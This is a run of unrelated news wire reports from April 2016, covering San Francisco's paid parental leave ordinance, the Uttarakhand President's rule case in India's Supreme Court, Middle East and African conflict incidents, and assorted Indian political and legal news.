Current California state law allows partially paid leave for new mothers and fathers who have paid into a state disability insurance. They receive 55 percent of their full salaries for six weeks, with the money coming from the state disability programme, Xinhua news agency reported.

Thursday's new ordinance, which was unanimously approved by the San Francisco's Board of Supervisors early this month, is a supplement to the state regulations.

It gives new parents six weeks of fully paid leave, with the remaining 45 percent to be paid by employers which have at least 20 employees.

The rules will go into effect on January 1, 2017, for businesses with more than 50 workers, and one year later for those with at least 20 or more workers.

The paid parental leave ordinance is the latest pro-worker move adopted by San Francisco, where the living cost is among the highest in the country.

The city approved a plan in 2014 to raise minimum wage to $15 an hour over the next few years.

"We have accomplished things together to ensure that parents and children can succeed in this very expensive city, to make sure they have the resources and the ability to be successful," Lee said.

He said the new law provides the basic caring and support that should be available to every family in the country.

The US is behind the rest of the world in terms of maternity leave policy. It is the only advanced country that does not have a national law providing paid maternity leave.

A federal law allows new parents to take 12 weeks of unpaid leave if they work in a company with 50 or more employees.

Some states, however, provide expanded parental leave policies. In addition to California, New Jersey and Rhode Island also mandate parental leave with partial pay.

New York will implement similar leave policy starting in 2018.

As a means to attract and retain workers, better benefits for parents are offered by many enterprises, including big-name tech companies in Silicon Valley.

San Francisco-based Twitter announced this month to give employees 20 weeks of paid leave starting in May.

--IANS

py/
The Supreme Court on Friday ordered that the Uttarakhand High Court order, removing President's rule in the hill state and restoring Congress' Harish Rawat as chief minister, be kept in abeyance till April 27.

A bench of Justice Dipak Mishra and Justice Shiva Kirti Singh, while passing its orders, asked the high court to provide the copies of its April 21 judgment to all the parties by April 26.

"The judgment shall be filed before this court on that day (April 26)," the order said.

It also ruled that there would be no revocation of the presidential proclamation till April 27 when the court will again hear the matter.

"It is directed that the judgment of the high court shall remain in abeyance till April 27. That apart, as undertaken by Mukul Rohatgi, the attorney general, the Union of India shall not revoke the presidential proclamation till the next date of hearing."

The order came after an hour-long arguments on the central government's petition seeking stay of the high court order.

While the top court put in abeyance the operation of the high court verdict, it indicated in the course of the arguments that it may refer the entire matter to the constitution bench as it involved important issues.

As the bench was about to pass its order, senior counsel Kapil Sibal, appearing for Uttarakhand Assembly Speaker Govind Singh Kunjwal, said that its order would amount to granting final relief sought by the central government in their challenge to the high court verdict.

Addressing the concern, Justice Singh said that they are not interfering with the order of floor test on April 29, as directed by the high court.

Senior counsel Abhishek Manu Singhvi, appearing for Rawat, said: "Your lordships are upholding what has been quashed by the high court" and suggested that Rawat should continue as chief minister but not act till April 27.

Countering the resistance by Singhvi and Sibal to the court staying the operation of the high court verdict till April 27, Attorney General Rohatgi said: "You should take advantage of the judgment but I should not seek stay of it."

Addressing the court on the central government's petition, he told the court that it should stay the effect of the order passed by the high court on April 21 as "it can't be allowed to be implemented to the disability of the other parties" since in the absence of the reasoned judgment, they can't challenge it in its entirety.

Besides this, Attorney General Rohatgi referred to the speaker not allowing voting on the appropriation bill even though 27 Bharatiya Janata Party legislators and nine Congress members had sought voting.

He said that if Kunjwal had allowed the division as sought by the BJP and rebel Congress members, then the appropriation bill would not have got through (passed) thereby resulting in the fall of the Rawat government.

Rohatgi also referred to the instance of 'horse trading' of legislators and Rawat speaking about money in a sting operation.

In response, Singhvi said that for the sake of argument, if it was assumed that what Rohatgi was saying was true, yet one single instance was not enough to invoke article 356 of the constitution and impose the President's rule, referring to the apex court judgment in the case of then Karnataka chief minister S.R.Bommai, who was removed as the chief minister by the governor in 1989 without being given an opportunity to prove his strength on the floor of the house.

Meanwhile, as senior counsel C.A. Sundaram, appearing for the nine disqualified Congress members who have also moved the apex court, sought to address the court, Sibal said that they have already moved the high court, which will hear their pleas on Saturday.

--IANS

pk/vd
At least six people were killed and 31 injured on Friday in a suicide bomb attack at a mosque here, a police source said.

A suicide bomber detonated his explosive vest among dozens of worshippers attending the Friday weekly prayer at a Shiite mosque in the suburb of Radwaniyah, the source told Xinhua news agency on the condition of anonymity.

The massive blast also caused severe damage to the mosque, the source said.

The toll could rise as ambulances, police and civilian vehicles were evacuating the victims to nearby hospitals and medical centres, the source added.

--IANS

pgh/bg
Troops of Somalia and the African Union killed at least three Al-Shabaab militants and injured four others in an operation in the Somali region of Bakool on Friday, an official said.

The joint force took control of three villages, Abdi Mohamed Dile, a Somali army official, told reporters, Xinhua news agency reported.

The recent operations were aimed at liberating areas still under Al-Shabaab control in the region, Dile said.

Al-Shabaab has isolated towns in its control in Bakool from other towns, blocking access to food aid from humanitarian agencies.

--IANS

pgh/bg
Claiming that the changing stand of the Trinamool Congress was "an acceptance of the reality of the sting operation", Narada News CEO Mathew Samuel on Friday ridiculed the impunity of leaders caught in the alleged bribery scandal.

Interacting with the media here, he rejected allegations of "political motives" behind the sting and threatened legal action against Trinamool Rajya Sabha member Derek O'Brien for "infringing my right to privacy".

"First they (Trinamool) said the tapes were doctored, then they said it was donation and subsequently said the money went to the party for election purpose," said Samuel about the sting in which several Trinamool MPs, MLAs and former union ministers have been purportedly seen taking money.

"And now Didi (Mamata Banerjee) is saying she would have changed her party candidates (for the assembly polls). These changes show the Trinamool has accepted (the reality)," said the journalist, who was behind the sting operation.

Chief Minister Banerjee on April 17 had claimed that she would have given "a thought to changing the candidates" caught in the tapes, had the sting operation videotape been released before the announcement of her Trinamool's candidate list for the assembly polls.

At least six of the over a dozen leaders "caught" in the sting are contesting the assembly polls.

Rejecting the Trinamool's allegations of a "political conspiracy" and "use of black money for the sting", Samuel ridiculed the leaders caught in the tape over their impunity in taking the bribes.

"Did they have any idea from where I came? Forget about any conspiracy and look at the reality, they took money without even knowing who I was or from where I came from," he said.

Referring to O'Brien's comments in Rajya Sabha where he claimed that Samuel made several calls to Dubai at the time when the sting operation was released, the journalist said he will be initiating legal action.

"I have written to the Rajya Sabha chairperson over this and awaiting a reply. I have also written to the TRAI and my mobile network company. I am waiting for the replies and I will file a police case for breach of my right to privacy," he added.

Samuel also expressed is faith in the Calcutta High Court which is hearing three public interest litigations seeking a Central Bureau of Investigation probe into the matter. The footages along with the recording device are currently under the custody of the court.

--IANS

and/ssp/vd

A
Filmmaker Pawan Kumar's Kannada language thriller "U-Turn" is slated to release on May 20 worldwide.

With Drishyam Films distributing the film across India and outside the Karnataka region, "U-Turn" will release with English subtitles in the rest of the country.

Featuring actors Shraddha Srinath, Roger Narayanan, Radhika Chetan and Dilip Raj in lead roles, the film is a mystery thriller revolving around a young journalist who finds herself entangled in a murder case while working on a story on traffic rule breakers.

The film is produced by Audience Films in collaboration with Pawan Kumar Studios Pvt Ltd.

"In 10 months, we have gone from ideation to release. The film will be premiering at the prestigious New York Indian Film Festival on May 8. In over 75 years of Kannada cinema, very few Kannada films including 'Lucia' and 'U-Turn' have had an international premiere," Kumar said in a statement.

--IANS

ks/nn/bg
US President Barack Obama on Thursday pledged to remain vigilant against Iran's destabilizing activities in the Middle East as he tried to comfort his Gulf allies.

"None of our nations have an interest in conflict with Iran," Obama said in a brief press conference after meeting with leaders of the Gulf Cooperation Council (GCC) countries in the Saudi capital Riyadh.

The GCC comprises Bahrain, Kuwait, Oman, Qatar, Saudi Arabia, and the United Arab Emirates.

The Persian Gulf nations, Saudi Arabia in particular, have repeatedly raised concerns that the nuclear deal reached with Iran last year will further empower the Islamic Republic to interfere in Arab affairs.

The tensions reached a new high in January when Riyadh and a number of its Sunni Arab allies cut diplomatic ties with Tehran, after mobs ransacked the Saudi embassy in response to the execution of a prominent Shiite cleric in Saudi Arabia.

"When we entered into negotiations with Iran on the nuclear deal there was concern that in the interest of getting a deal done we would somehow look the other way with respect to other destabilizing activities," Obama said.

The US president said the deal has "cut off every single one of Iran's pathways to a nuclear weapon," but the United States continues to have "serious concerns" about Iran's behaviour in the region.

During the US-GCC summit, leaders also committed to urgently undertake additional steps to intensify the campaign to defeat the Islamic State (IS) militant group and the Al-Qaeda, and reduce regional and sectarian tensions that fuel instability, said a White House statement.

It's Obama's fourth visit to the oil-rich Gulf nation since taking office in 2009.

The kingdom was seen as one of Washington's most strategic allies in the Middle East, but bilateral relations have been strained by the nuclear deal reached with Iran last year.

A day earlier, President Obama met with King Salman bin Abdulaziz at Erga Palace.

Obama underscored the importance of accelerating the campaign against the IS group and welcomed Saudi Arabia's important role in the coalition against the terrorist group, read a White House statement.

The two leaders also discussed regional conflicts in Syria, Yemen and Iraq, and challenges posed by Iran's provocative activities.

Almost a year ago, in May 2015, Obama hosted leaders of Gulf nations at the White House and the Camp David retreat, the first meeting of the Gulf countries after a framework agreement on limiting Iran's nuclear program.

Except for Kuwait and Qatar, top leaders from four of the six-member GCC countries were absent from the 2015 summit.

--IANS

ahm/
Art of Living (AoL) foundation on Friday expressed its inability to pay the "remaining green fine" of Rs.4.75 Crore to the National Green Tribunal that was levied against it in leu of alleged environment destruction caused by its World Culture Festival on the Yamuna floodplanes last month.

The foundation said it can only give a bank guarantee for it.

petitioner Manoj Misra's lawyer, Sanjay Parikh, has alleged that Art of Living did not intend to pay the penalty and was only "beating around the bush" since beginning of the case.

"They are doing so consistently from the very beginning. First they lied to the court in a sense that they don't have money to pay for the environment destruction, their event had caused. Although the ministry of culture had released Rs.1.5 Crore for the event, but they told the court that they don't have any money and got away by paying just Rs. 25 Lakhs in place of Rs.5 Crore," Parikh told IANS.

The development comes amid reports of ISIS threats to AoL head Sri Sri Ravi Shankar.

Parikh also expressed the apprehension that AoL was trying to get the March 9 NGT order nullified. The NGT in its judgment had established that there was "environment destruction caused to Yamuna Flood plains by the World Culture Festival" and instructed a principal committee "to verify the quantum of destruction occurred after inspecting."

"AoL knows that principle committee's report will be against them. So they are creating hurdles in their inspection. Now they are saying that they will decide on their own if at all any destruction has been caused to the flood planes by their event," Parikh Said.

Meanwhile, officials from Delhi Pollution Control Committee (DPCC) confirmed, "they are not ready with the inspection report yet".

The NGT committee comprised officials from DPCC, National Pollution Control Board, ministry of Environment and Forest Conservation and union Water Resource ministry.

AoL, though, countered the allegations insisting they have no hesitation to pay the money. "We have only asked for a change in the modalities of payment."

The change, according to them: "We have no objection to pay the penalty if at all any damage has been done to the flood planes. We have just informed the NGT that we may like to pay in form of a Bank Gurantee than cash in this case," AoL lawyer Akshama Nath told IANS.

Replying to the question on creating hindrance in the way of NGT committee's inspection, Nath blamed the delay in preparing the report on "inter-departmental mis-communication."

"There was some confusion among the officials who visited the site for inspection and the higher up in the hierarchy of their department," Nath said.

Meanwhile, the Delhi Development Authority has also expressed apprehensions that AoL may not pay the penalty to restore the damage done to the flood planes. They said a bank guarantee was not enough.

"If they had to do so they would have done that long back. The three weeks for paying full fine of Rs. 5 crore lapsed on April 1. The NGT committee is not at a stage to submit its report within stipulated deadline of eight weeks. If there is no report AoL's probability of depositing the penalty is bleak," DDA officials concerned with the case, who did not want to be named, told IANS.

In fact, a four-member expert committee of NGT had said in its report that World Culture Festival organised by Sri Sri Ravi Shankar's Art of Living Foundation had destroyed parts of the flood-planes of Yamuna and it would require at least Rs.120 crore to restore the area to its original state.

The expert committee headed by Water Resources Secretary Shashim Shekhar was assisted by A.K. Gosain, a professor of IIT-Delhi, C.R. Babu and Brij Gopal.
The Panama Papers revelations have sent shock waves around the world and while there seems to be no political risk to anyone in India, in neighbouring Pakistan, political parties and judges alike are getting the heebie-jeebies. The 200-plus list of those in Pakistan who have maintained dealings with M/s Mossack Fonseca includes the three children of Prime Minister Nawaz Sharif; relatives of the two wives of Shahbaz Sharif (the chief minister of Punjab and Nawaz Sharif's brother). Former prime minister Benazir Bhutto's name figures as well: she, her nephew Hasan Ali Jaffery and former interior minister Rehman Malik are said to have co-owned Petrofine FZC. The family of Osman Saifullah Khan, a senator for the Pakistan Peoples Party (PPP), has registered 34 offshore companies. In delicious irony, Khan is a serving member on a body that is deliberating on Pakistan's tax reforms programme, such as it is. Much like the findings of Indian democracy watchdog Association for Democratic Reforms (ADR) that many of the wealthiest candidates contesting elections don't even have PAN numbers, in Pakistan too, many of those on the Panama list don't figure on the Federal Board of Revenue's published lists of Pakistan's top taxpayers, as columnist and financial expert Najma Minhas noted recently.
Every morning, the newspapers are full of reports of drought in Maharashtra. Facing a rain shortfall of as much as 40 per cent, Marathwada has been the worst-hit. Although the second "water train" has pulled into Latur, farmers in rural areas have had little respite - especially the ones who have been banking on high yields to offset the cost of planting the more expensive and resource-intensive sugar cane. Looking at these increasingly grim reports, I called Madhukar Dhas of Dilasa Sanstha, a non-governmental organisation working on the issue of farmer suicides in Maharashtra for over 20 years, to find out how they, and the farmers they work with, were faring.
"The difference between fiction and reality is that fiction has to make sense," said the American novelist Tom Clancy, who died a few years ago, and whose many bestsellers (made into successful movies like Patriot Games and The Sum of All Fears) centred on espionage, terrorism and military intervention. What the fiction writer Karan Mahajan in his new novel The Association of Small Bombs (published next month by HarperCollins; Rs 499) tells us is a more complex and disturbing story than the outpouring of recent opinion and analysis about the unrest and deaths in Kashmir.
The somewhat intimidating chief minister of Gujarat talks to Aditi Phadnis about the politics of the Patel agitation in her state, how her government is working to enable entrepreneurship and the saas-bahu power dynamic



When Narendra Modi resigned as chief minister of Gujarat and Anandiben Patel was elected by the Bharatiya Janata Legislature Party as its leader, Modi said Gujarat was in safe hands. "I know she looks a bit strict," he said, introducing his successor, "I know she doesn't smile much. But under her leadership, Gujarat will march ahead after me."



It is true that Anandiben Patel appears at first glance to be forbidding, dour and grim. But only until you hear her laugh. If something amuses her, she smiles and then utterly spontaneously, the laugh turns into a gurgling giggle. There are many in her party - including members of the Patel clan who are agitating for "anamat" (reservation) - who consider her unfriendly. She says: "Those who stick to rules always appear unfriendly to people who come for personal favours. I should be judged for my work, not by the look on my face."



The tea served at Gujarat Bhavan in New Delhi where we meet is robust - somewhat excessively so for my timid palate. I take a sip as I sit across the first woman chief minister of Gujarat. The beverage is abandoned, left to form an unappetising beige skin on the surface, as Patel talks about the challenges in her job.
The Supreme Court at a special sitting on Friday stayed the Uttarakhand high court judgment revoking Presidents rule till Wednesday, when the appeal of the central government will be heard in detail.

With this, Presidents rule has resumed in the hill state till further order of the court. Attorney General Mukul Rohatgi gave an undertaking that the Centre would not revoke Presidents rule in the meantime. This would mean no new government will be formed till the final order of the apex court.

While listing the matter for hearing on Wednesday, a bench comprising judges Dipak Misra and Shiva Kirti Singh said the HC shall provide the judgement passed on Thursday to the parties by Tuesday and on the same date the copy of the verdict shall also be placed before the apex court.

The SC order to keep in abeyance the HC judgment has the effect of keeping alive Presidents rule in the state till the next hearing. Therefore, no new government can be sworn in till then.

The court also issued notice to then Chief Minister Harish Rawat and the chief secretary of the state. Kapil Sibal, senior counsel for the Speaker, and Abhishek Manu Singhvi, for Rawat, strongly resisted the Attorney Generals (AGs) plea for stay, arguing no damage will be done if there is no stay and a stay order will amount to allowing the appeal.

The AG said that 27 MLAs, along with nine others from the ruling party in the 70-member House, had asked for a division (voting) to pass the Appropriation Bill. But the Speaker did not allow it and declared the Bill passed voice vote. He narrated the events preceding the proclamation of Presidents rule, justifying the Centres move. He said the constitutional machinery had broken down and also referred to a sting operation in which Rawat was allegedly seen talking about money deals to appease legislators.

Earlier, hours after the Uttarakhand HC quashed Presidents rule, the Rawat government took nearly a dozen decisions through a Cabinet meeting, in a swift bid to assert its authority.

Among the various decisions took on Thursday night, Rawat tried to woo Ganesh Godiyal, a Congress MLA from Srinagar in Pauri district, earlier considered a confidante of BJP leader Satpal Maharaj. The Cabinet decided to take the financial burden of running Rath College of Godiyal in the district.

Rawat also took a host of populist decisions, including disbursement of Rs 5 crore to each of the 13 districts to handle a drought-like situation. The government said it would lower property registration rates. The Cabinet also decided to induct about 6,000 guest teachers in government schools, at Rs 15,000 per month.

The social welfare department was asked to increase the pension of about 600,000 beneficiaries by Rs 200 per month. This will put an additional burden of Rs 13 crore every year on the exchequer.

The Cabinet also decided to provide ownership rights to all those living in slums on government land.

It had also decided to convene an Assembly Session on April 29 for the floor test in view of the Thursdays High Court order.

Meanwhile, the state unit of the BJP has asked Governor K K Paul not to implement any of the decisions taken by the Harish Rawat government on Thursday evening, describing them illegal and unconstitutional.


At least 1,000 houses were damaged by a massive hailstorm that hit Mizoram early this morning, district authorities said.

Kawrthah village in Mizoram-Bangladesh-Tripura border Mamit district was badly hit as over 380 houses were damaged of which 80 houses (54 houses within Kawrthah South village council area and 26 houses in Kawhthah North village council area) completely damaged by hail, the authorities said.

Three villages in Aizawl district were also ravaged by the hailstorm where at least 370 houses were damaged.

Aizawl district administration officials said over 260 houses were damaged in Keifang village, while 41 houses were damaged in nearby Rulchawm village.

In Ruallung village, 69 houses were damaged by hail, they said.

At least 200 houses in Lungdai village in Mizoram-Assam border Kolasib district were damaged by the hailstorm.
Fourteen people, including three children died of consuming poisonous sweetmeatin Pakistan's Punjab province, police said today.

The sweetmeat was brought from a shop in Layyah district, some 325 kilometers from here, to celebrate the birthday of a child. It was served to seven members of a family. Their condition deteriorated soon after eating the sweetmeat. They were rushed to the nearby hospital.

"In addition to these seven patients, some25 other people of the village who ate the poisonous sweetmeat from the same shop were also brought to the hospital. But 14 of them died between yesterday and today,"Executive District Officer Ameer Abdullah told reporters.

He said the condition of some five more patients was critical.

The dead include three children.

Abdullah said the health department has sealed the sweet shop and seized the "remaining poisonous sweetmeat" and sent for laboratory examination.

"We have have also lodged an FIR the Pure Food Act against the shop owner," he said.

District Police Officer Layyah Muhammad Ali Zia said that the shop owner Khalid Mahmoud was arrested.

"Cheep imported liquid glucose is suspected to be used in manufacturing of the sweetmeat at the shop instead of sugar (which cost more)," he said.
Two British students have been sentenced to more than 20 years in prison for conspiring to kill soldiers, police officers and civilians in a plot inspired by the Islamic State group.

Judge Alan Wilkie sentenced plot mastermind Tarik Hassane today to life with no chance of parole for 21 years, and told physics student Suhaib Majeed he must serve at least 20 years. Both men are 22.

Prosecutors say the plot involved a plan to shoot from a moped and then ride off. Hassane had scouted possible sites in west London, including a police station and an army barracks, using Google Street View.

Acting on instructions from Hassane, Majeed obtained a gun and ammunition and was discussing buying an untraceable moped before police arrested him in September 2014.
A two-year old female leopard was found dead in a tea estate in Toovanmoolai near Pandalur, about 80 Kms from here today.

"The carcass of the leopard was noticed by some estate workers and they immediately informed forest department officials, who rushed to the spot and retrieved it," Veterinarian Dr Prabhu said.

He said he did a post-mortem and sent the viscera to Chennai to ascertain the exact cause of the death.

The carcass was later burnt at the same spot, he said.
A Turkish court today ordered the release of four academics accused of spreading "terrorist" propaganda at the opening hearing of one of several trials that have raised concern over Turkey's continuing crackdown on dissenting voices.

The four academics were among a group of more than 1,000 scholars who in January signed a declaration critical of the government's military operations against Kurdish rebels. The declaration angered President Recep Tayyip Erdogan and led to legal proceedings against some.

They were arrested after holding a conference in March during which they stood by the declaration. The prosecutor said that the academics should be released and tried under an article of the Turkish penal code which makes it illegal to insult the Turkish state, government, people, parliament, judiciary or security forces, according to local media reports.

The law, which was softened in a 2008 amendment following high-profile trials of Turkish writers Orhan Pamuk and Elif Safak, requires the approval of the justice minister for a case to be filed.

The court granted the request for the four to be released, according to the state-run Anadolu Agency. The defendants - Esra Mungan, Muzaffer Kaya, Kivanc Ersoy and Meral Camci - had been held in a high-security prison in Istanbul since their arrest.

In a separate courtroom today, a closed-door trial resumed for two prominent opposition journalists who are accused of espionage and aiding a terrorist organization for their reports on alleged government arms-smuggling to Syria.

Hundreds of demonstrators gathered in front of the courthouse in Istanbul to show their support for newspaper Cumhuriyet's chief editor Can Dundar and Ankara representative Erdem Gul, as well as the four academics.

Protesters carried signs calling for an end to "dictatorships in university."



The controversial trials come weeks after Erdogan called for a broader legal definition of "terrorism" and "terrorist" to include activists, journalists and legislators who voice support for terrorism organizations.
Spinal meningitis, which can kill in 24 hours, poses a threat to 450 million Africans this year, according to medical experts from eight of the continent's countries.

Meningococcal meningitis is a global burden that affects 1.2 million people every year and causes the death of 135,000 of them, said the doctors from west and central Africa.

Twenty-six countries that make up the so-called "African meningitis belt that stretches from Senegal to Ethiopia -- an area home to 450 million people -- may be heavily affected by epidemic outbreaks," said the doctors at a press conference.

"Meningitis is still a problem, we must react to avoid tragedy," said Dr Elia Gilbernair, a medic at pharmaceutical giant Sanofi which organised the conference.

Dr Gilbernair added that countries don't make calls for stockpiles of meningitis vaccines until the last moment, when an epidemic is declared.

Mali's Professor Mamadou Keita Marouf called for a mass vaccination programme to help prevent the disease responsible for "practically decimating a generation".

Professor Ye Ouattara Diarra, from Burkina Faso, described meningitis as a public health problem and called for increased monitoring to help detect cases early.

The World Health Organization (WHO) warned in December of a risk of fresh meningitis outbreaks this year in Africa, particularly Niger and Nigeria which were both badly hit in 2015.

Meningitis is an acute inflammation of the protective membranes covering the brain and spinal cord and can be life- threatening.

Symptoms include high fever, a stiff neck, vomiting and severe headaches.
- Air strikes on rebel-held neighbourhoods in Syria's second city Aleppo today killed at least 25 people and wounded more than 40, emergency workers said.

The Syrian Observatory for Human Rights, which said regime warplanes carried out the air strikes, earlier gave a toll of 19 dead but said this was likely to rise.

An AFP correspondent in the opposition-held eastern part of the city said several districts were targeted including Bustan al-Qasr, Al-Mashad and Salhin.

Late today, two barrel bombs also hit the southern district of Bab al-Nayrab, killing an ambulance driver.

"It was a bloody, black day in Aleppo, with aircraft not leaving the sky," Bibres Mashaal, the head of civil defence in Bab al-Nayrab, said.

"Twenty-five air strikes where launched on the city, as well as barrel bombs," he said, adding they targeted residential neighbourhoods and main roads.

"Today the civil defence was fully mobilised and there were also fires," Mashaal said.

Civil defence workers also reported three people killed by artillery fire in Bustan al-Qasr, one of Aleppo's most heavily populated neighbourhoods.

An air strike there earlier hit a five-storey apartment building, shearing off part of an entire floor.

"We were sleeping at 10:00 am when the strike hit the fourth floor of the building," said resident Ahmad Radi.

"We ran down and found the bodies all over the ground."



Civil defence volunteers emerged from the building carrying squirming infants blanketed in dust, while others held limp bodies covered in white sheets.

"It's become normal here for people to die every day. No one even mourns anymore," one Bustan al-Qasr resident said.

"The next day, everyone opens their shops and things carry on as if nothing happened. But everyone living here has lost someone."



"A surprising number of wounded showed up at the field hospital, around 20 people," one medic in an opposition-held neighbourhood told AFP.

"It's more than we can handle," he said, adding that field hospitals in other neighbourhoods were also struggling to cope.

Once Syria's commercial hub, Aleppo has been divided between rebel control in the east and government forces in the west since 2012.

Nearly all warring parties in Syria -- the regime, rebels, jihadists and Kurds -- have carved out zones of control in war-torn Aleppo province.

A ceasefire took effect in Syria at the end of February, but the country has been rocked by fighting in recent weeks, particularly around Aleppo.

Syria's conflict erupted in March 2011 with anti-government protests, but has since spiralled into a multi-front war that has left more than 270,000 people dead.
Amid controversy over the alleged dilution of 'Hindu' terror cases filed under the UPA regime, Congress today demanded removal of the Director General of National Investigation Agency (NIA).

The party also demanded that all the cases being handled by the NIA be placed before the Supreme Court to ensure that there was "no pressure" on the probe agency.

"Since the Narendra Modi government came to power, we have seen witnesses turn hostile. Be it in the Samjhauta Express, Ajmer or Malegaon blasts," Party spokesman Ajoy Kumar told reporters.

He said every nation hopes that their investigative agency is honest and has integrity. "But, we are seeing how shamelessly the Modi government is undermining the NIA and using it for partisan politics".

Accusing the BJP of undermining national security, he claimed it was using the NIA to serve its petty political interests.

Alleging that pressure is being put on NIA to safeguard the RSS, he said the Modi government, in an "almost Goebellian way", is trying to tell people that Colonel Shrikant Purohit has got a clean chit in Samjhauta Express blast."



"Why is the NIA giving him a clean chit on this?" he asked.

Noting that Col Purohit is accused in the Malegaon bomb blast, he said it is "worrying" that in these cases the judicial process is being delayed.

"This shows how the Modi government was trying to divert all the discussion on this investigation?"



Stressing that in the Samjhauta Express blast case, there were four others accused along with Aseemanand, he claimed that Aseemanand had "confessed" that he got "endorsement" from senior RSS leaders.

"He had mentioned Indresh Kumar. Indreshji is a senior RSS member and questioned by the CBI".

He said in Ajmer blast case, three witnesses have turned hostile. "One Ranbir Singh is former BJP minister.
An invitation to a leading



Chinese dissident to participate in a conference in Dharamshala next week could develop into another irritant between India and China.

Dolkun Isa, a leader of World Uyghur Congress (WUC) who lives in Germany, has been invited to the conference being organised by the US-based 'Initiatives for China'. Uyghurs and many other Chinese dissidents in exile are expected to attend and discuss democratic transformation in China.

China's unhappiness about reports that Dolkun has been given the visa was reflected in Chinese Foreign Ministry Spokesperson Hua Chunying saying, "What I want to point out is that Dolkun is a terrorist in red notice of the Interpol and Chinese police. Bringing him to justice is due obligation of relevant countries."



When asked about the issue, External Affairs Ministry Spokesperson Vikas Swarup today said,"We have seen the media reports and External Affairs Ministry is trying to ascertain the facts."



India's decision to permit WUC leaders whom China regards as backers of terrorism in its volatile Muslim-dominated Xinjiang province was reported to be in response to Beijing blocking Indian bid to get Jaish-e-Muhammad chief Masood Azhar banned by the UN.

Meanwhile, Dolkun has been quoted by media as saying that he had already been granted visa by the Indian government for the conference but he would take a final call only after assessing his security in India, as China got a Red Corner Notice issued against him by Interpol.
The Anti-Corruption Bureau of Andhra Pradesh today arrested an assistant executive engineer after it found he possessed assets worth over Rs 1.56 crore which were disproportionate to his known sources of income.

The engineer, Reddy Venugopala Rao, is attached with the Andhra Pradesh Housing Corporation.

An ACB press release said the agency's sleuths conducted searches simultaneously at Rao's residence at Bobbili in Vizianagarm district and five other places in Visakhapatnam and Vizianagaram districts. Premises of his friends and relatives were also searched.

Documents relating to 16 open plots, three buildings, two shops, bank balance of Rs 6 lakh and promissory notes for Rs 10 lakh, among others, were found besides a car and two motorbikes, the release said.

Value of these assets has been put at Rs 1.56 crore, way above his known sources of income, it said.

The accused would be produced in the ACB Court in Visakhapatnam tomorrow, the release added.
Andhra Pradesh government is ready to allot 500 acres of land at Visakhapatnam for setting up a bulk drugs park, Chief Minister N Chandrababu Naidu announced today.

"You have promised us the bulk drugs park. We are ready to give you 500 acres land for that at Visakhapatnam," the Chief Minister told Union Minister for Chemicals and Petrochemicals Ananth Kumar at the foundation-stone laying ceremony of the Central Institute of Plastics Engineering and Technology (CIPET) at Surampalli village near here.

The Chief Minister also said the government would allot 200 acres of land at Mallavalli village for setting up a plastics park.

"Plastic is essential for the growth of agriculture sector. Israel brought about a revolution in agriculture, which we need to emulate," Chandrababu added.

The Chief Minister hailed the Union Minister saying there was no shortage of urea in the country now.

"When Congress was in power, urea used to be supplied in police stations. Now, due to the efforts of Ananth Kumar, we don't have any shortage of urea," Chandrababu pointed out.

Ananth Kumar said one more CIPET would be established in Anantapuramu district of AP.

"The Vijayawada CIPET will produce agri-plastics engineers. In Anantapuramu, we will have a course in plastics waste management," the Union Minister said.

He said there was a need to integrate plastics with agriculture.

Union Urban Development Minister M Venkaiah Naidu said some people have lust for power, whereas Chandrababu has lust for development.

"Chandrababu is taking up development programmes with a foresight. He is dreaming of making the state into a Swarna Andhra Pradesh (golden AP). Under Prime Minister Narendra Modi's leadership, the country is racing on the track of development. The Modi-Chandrababu combination will lay a golden path for AP's development," Naidu said.

Referring to the Chief Minister's plea for Central assistance for the state's development, the Urban Development Minister said there was no need for concern as the Centre would fulfil its responsibilities.

Union Minister of State for Chemicals Hansraj Gangaram Ahir, Vijayawada MP Kesineni Srinivas (Nani) and others were present.

CIPET is one of the premier national institutes being set



up in AP following the bifurcation of the state.

While the state government has provided 12 acres of land for the institute, the Centre sanctioned Rs 50.73 crore.

CIPET began its training programmes temporarily from the Vijayawada Auto Cluster Development Company in August last year, offering specialised practical training in plastics engineering and technology. So far 675 candidates were provided training of whom 80 per cent secured jobs.

Existing plastic industries in the state at Vijayawada, Visakhapatnam, Rajamahendravaram, Kakinada, Guntur and Renigunta now hope to get trained skilled manpower once CIPET becomes fully functional, offering various diploma, graduate and post-graduate courses.

The Centre plans to train around 14,500 persons under 'STAR' - Skill Development, Technology-Support Services, Academic and Research in all the domains of plastics engineering and technology in the next three years to aid the growth of plastics and allied industries in the country.

While currently there are 28 CIPETs in different parts of the country, a few more will be opened in tune with the demands of the industry, an official release said.

As per the industry estimates, 1.18 million persons are directly employed in the plastics processing industries while the additional manpower requirement by 2023-24 will be 1.16 million.
Army Chief General Dalbir Singh today witnessed in western Rajasthan the 'Shatrujeet' exercise, which is a part of regular training where the Strike Corps hones war-fighting skills.

The Army chief arrived today in the exercise area where he was received by South Western Army Commander Lt Gen Sarath Chand.

He was briefed on the operational plans and conduct of the exercise by Lieutenant General Shokin Chauhan, General Officer Commanding, Strike Corps, defence spokesperson Lt Col Manish Ojha said.

Gen Singh reviewed complex and integrated operational maneuvers of the formation.

Synergy between Army and Air Force in executing air-land battle and the ability to orchestrate battle in network centric environment were also successfully validated during the exercise.

Under the exercise, two airborne battalions of the elite Parachute Brigade were dropped on a single night behind simulated enemy lines to address objectives in depth by vertical envelopment and to maintain high tempo of operations.

Composite infantry and mechanised columns of the Strike Corps maneuvred deep into 'enemy' territory and successfully linked up with the airborne force whereas networked radars, UAVs and aerial surveillance platforms ensured continuous flow of information.

Mobile communication systems integrated with terrestrial network provided efficient communication on move across the battle field.
Former deputy Chief Minister Chhagan Bhujbal's admission to St George Hospital in South Mumbai was facilitated by a doctor at Arthur Road prison here who fudged a medical register entry by his superior recommending that he be treated for toothache, a senior Prisons department official said today.

Bhujbal, remanded in judicial custody in an alleged money laundering case, was admitted to ICU of the multi-speciality hospital on April 18 after he complained of severe chest pain and high blood pressure.

However, the probe by the Prisons department has revealed that Dr Rahul Ghule altered the initial recommendation made by his senior in the medical register that Bhujbal be taken to the hospital for toothache by writing that he be taken to medical OPD.

"On April 16, Dr Bansode (Chief Medical Officer, Arthur Road Jail) had recommended that Bhujbal be taken (to St George) to dental OPD for his toothache.

"However, on April 17, despite being on leave, Ghule, without the knowledge of CMO or jail authorities, fudged the jail register no.32 wherein he changed initial recommendation regarding Bhujbal by suggesting that he (Bhujbal) be taken to medical OPD there for other reasons," Bipin Kumar Singh, IG, (Prisons) said.

The officer said they suspect that Ghule had also accompanied Bhujbal to the hospital on April 18.

Considering the seriousness of the act, the jail authorities have repatriated Ghule to Public Health Department and recommended stringent action against him.

